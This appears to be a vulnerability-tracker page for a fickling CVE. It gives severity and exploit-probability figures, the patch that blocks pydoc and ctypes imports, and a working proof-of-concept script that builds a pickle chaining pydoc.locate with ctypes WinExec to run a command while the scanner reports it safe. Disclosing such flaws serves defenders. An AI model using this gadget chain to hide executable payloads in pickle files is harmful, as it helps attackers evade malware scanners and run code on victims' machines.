CVE-2026-22608High▾ TwilightFickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.3%
0.3% → 0.4%
pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE
Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).
To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin
import os
GLOBAL = b'c'
STRING = b'S'
BININT = b'K'
TUPLE1 = b'\x85'
TUPLE2 = b'\x86'
EMPTY_TUPLE = b')'
REDUCE = b'R'
PUT = b'p'
GET = b'g'
POP = b'0'
EMPTY_DICT = b'}'
SETITEM = b's'
BUILD = b'b'
STOP = b'.'
def generate_stealth_payload():
payload = b""
payload += GLOBAL + b"pydoc\nlocate\n"
payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
payload += POP
payload += GET + b"0\n"
payload += b"C" + b"\x08" + b"calc.exe"
payload += BININT + b"\x01"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # Var 1 = Execution Result
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"2\n" # Var 2 = Exception instance
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"1\n"
payload += SETITEM # { 'rce_status': result }
payload += BUILD
payload += STOP
return payload
data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
f.write(data)
print("Generated 'stealth_ctypes.pkl'")
What fickling sees
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
<img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />
fickling < 0.1.7Upgrade to a patched release:
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